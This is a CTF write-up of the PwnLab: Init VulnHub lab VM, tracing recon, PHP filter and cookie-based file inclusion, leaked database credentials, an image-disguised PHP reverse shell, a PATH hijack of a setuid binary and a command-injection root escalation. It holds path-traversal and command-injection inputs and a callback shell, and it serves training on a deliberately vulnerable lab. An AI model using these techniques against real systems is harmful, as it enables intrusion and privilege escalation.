PwnLab - Init CTF write up.


Pwnlab-init is a boot2root vm from vulnhub. The VM and background details can be found here. Once booted, a quick ping sweep via nmap reveals the IP address of the target as, and my attacker (Kali linux is on

Running a basic TCP scan of the VM revelled a few services:

# nmap -sT

Starting Nmap 7.40 ( ) at 2017-05-20 21:26 BST

Nmap scan report for

Host is up (0.0032s latency).

Not shown: 997 closed ports


80/tcp   open  http

111/tcp  open  rpcbind

3306/tcp open  mysql

MAC Address: 08:00:27:B8:8C:20 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

Doing the next part of recon, I fire up Dirbuster to enumerate the webserver, to see if there is anything interesting on the server. I also open a web browser at the index page.

Dirbuster pointed out a few php files, as well as an upload directory.

When I connected to the webserver, I was greeted with the following screen.


As I looked at the the pages on the webserver, I started to notice something. The url was the actual page name (as shown in the dirbuster output), without the .php at the end. For example, the url said ?page=login and I could see login.php on the output from dirbuster. Armed with knowledge, it appeared to be that the web page was using the "include" function. Since include was on the cards, I decided to have a try with php input filters, specifically base64 encoding. Something that I had read about, but not used. The details of the method can be found here.

This lead me to craft the url to start downloading the source code. I changed the url from


Looking at the new URL gave some long strings in the page, which is the base64 encoded source code. Running

base64 -d <code> > ./name.txt

allowed me to look through all three pages from interesting information. This included finding a page called config.php, which contained the following info:


$server      = "localhost";

$username = "root";

$password = "H4u%QJ_H99";

$database = "Users";


I next tried to connect to mysql from my attacking machine directly via the unsecured external port for mysql. This worked (not guarenteed, as the same user can have different passwords depending on how they are accessed in mysql) as I was able to have a poke around the database, as follows:

mysql -u root -pH4u%QJ_H99 -h

Welcome to the MariaDB monitor.  Commands end with ; or \g.

Your MySQL connection id is 44

Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show tables

    -> ;

ERROR 1046 (3D000): No database selected

MySQL [(none)]> show databases;


| Database           |


| information_schema |

| Users              |


2 rows in set (0.00 sec)

MySQL [(none)]> use Users;

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

Database changed

MySQL [Users]> select from Users;

ERROR 1146 (42S02): Table 'Users.Users' doesn't exist

MySQL [Users]> show tables;


| Tables_in_Users |


| users           |


1 row in set (0.00 sec)

MySQL [Users]> select from users;


| user | pass             |


| kent | Sld6WHVCSkpOeQ== |

| mike | U0lmZHNURW42SQ== |

| kane | aVN2NVltMkdSbw== |


3 rows in set (0.01 sec)

MySQL [Users]> quit


So, usernames and passwords. Since I already know I need to log in to upload a file,  once I have base64 decoded them, I can log in. Once logged in the uploads page now allows me to upload files. Since I already have the source code to the upload file page, I give it a quick review. One section stands out to me:

$file_ext  = strrchr($filename, '.');

$imageinfo = getimagesize($_FILES['file']['tmp_name']);

$whitelist = array(".jpg",".jpeg",".gif",".png");

So, I can only upload images. I fire up burpsuite and try to upload a shell (called shell.php). I manipulate the file name to include \x00.jpg and it fails. Turns out I should have read a bit further down the code:

        if(strpos($filetype,'image') === false) {

            die('Error 001');


        if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {

            die('Error 002');


So, I also need to fool the script in to thinking that this is actually an image. The by-pass method I found was described here. I created a combination of a 1x1 Red pixel and the php script I used before using cat:

cat 1x1red.gif shell.php > shell.php.gif

I upload the new file, and manipulate the filename in burp again, to introduce the null to make the script drop the extension. Once again, I find I should have read the code further. The file is renamed with the extension it is uploaded with. This means I can't just include the file directly in the page variable.

I start to review the source code again. On the index page, I noticed a cookie variable, lang, which would blindly include any file. I tested this out in burpsuite, first setting the variable to: ../../../../../etc/passwd. I was greeted with:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false Debian-exim:x:104:109::/var/spool/exim4:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false statd:x:106:65534::/var/lib/nfs:/bin/false john:x:1000:1000:,,,:/home/john:/bin/bash kent:x:1001:1001:,,,:/home/kent:/bin/bash mike:x:1002:1002:,,,:/home/mike:/bin/bash kane:x:1003:1003:,,,:/home/kane:/bin/bash mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false

I started my netcat listener on the port the laudanum shell was going to call out to (8888). Once set up, I modified the lang variable to the image file I had uploaded. An example of the variable is shown here:

Cookie: lang=../upload/5d158d09eca74e150f60d535ff33e911.gif; PHPSESSID=v0ugtbt08oun6pgps5f0l

Once connected, I first copied the shell, but gave it a php extension, for ease of repeatability. I also gain pty via:

python -c 'import pty; pty.spawn("/bin/sh")'

Since I now have a pty, I can use the su binary. I try to su to mike, with mike's password from the database. It fails. I try Kane's instead. This works.

Kane has a file called msgmike in his home directory, which is setuid and owned by Mike. Running the binary through strings reviels that the path for cat isn't hard coded. I create a sub-directory called bin, and add it to the user's path, at the beginning. I also create a file called "cat" which runs /bin/sh and is executable. Once complete, I run "which cat" to check that I am going to run my script, rather than the command. Since I am, I run the binary.

Running the binary gives me a new shell, this time as Mike. In Mike's home directory, he has a file called "msg2root". Running this program requires an input. I try a simple command injection via a semi-colon, and it works. Changing the supplied string to "test; /bin/sh;" gives me a root shell. Once as root, I verify I am root, then hunt for flag.txt:


Message for root: test; /bin/sh;

test; /bin/sh;


# whoami



cd /root/

cat flag.txt

.-=~=-.                                                                 .-=~=-.

(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)

(_ __)  _____                             _                            ( ___)

(__  _) /  __ \                           | |                           (__  _)

( _ _) | /  \/ ___  __   __ __ _ _| | ___                      ( _ __)

(__  _) | |    / _ | '_ \ / _` | '__/ _` | __/ __|                     (__  _)

(_ __) | __/\ (_) | | | | (_| | | | (_| | |___ \                     ( ___)

(__  _)  ____/___/|_| |_|__, |_|  __,_|__|___/                     (__  _)

( _ _)                     __/ |                                       ( __)

(__  _)                    |___/                                        (__  _)

(__  _)                                                                 (__  _)

(_ __) If  you are  reading this,  means  that you have  break 'init'  ( ___)

( _ _) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( __)

(__  _) this challenge.                                                 (__  _)

( _ _) Please send me  your  feedback or your  writeup,  I will  love  ( __)

(__  _) reading it                                                      (__  _)

(__  _)                                                                 (__  _)

(__  _)                                             For  (__  _)

( _ _)                       - @Chronicoder  ( __)

(__  _)                                                                 (__  _)

(_ __)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-( ___)

`-._.-'                                                                 `-._.-'


In conculsion, another fun VM. This time I learned about the PHP Filter, and making the image / PHP script combination files.


Display comments as (Linear | Threaded)

    No comments

Add Comment

Enclosing asterisks marks text as bold (*word*), underscore are made via _word_.
Standard emoticons like :-) and ;-) are converted to images.
E-Mail addresses will not be displayed and will only be used for E-Mail notifications.
To leave a comment you must approve it via e-mail, which will be sent to your address after submission.
You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.
You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.

Submitted comments will be subject to moderation before being displayed.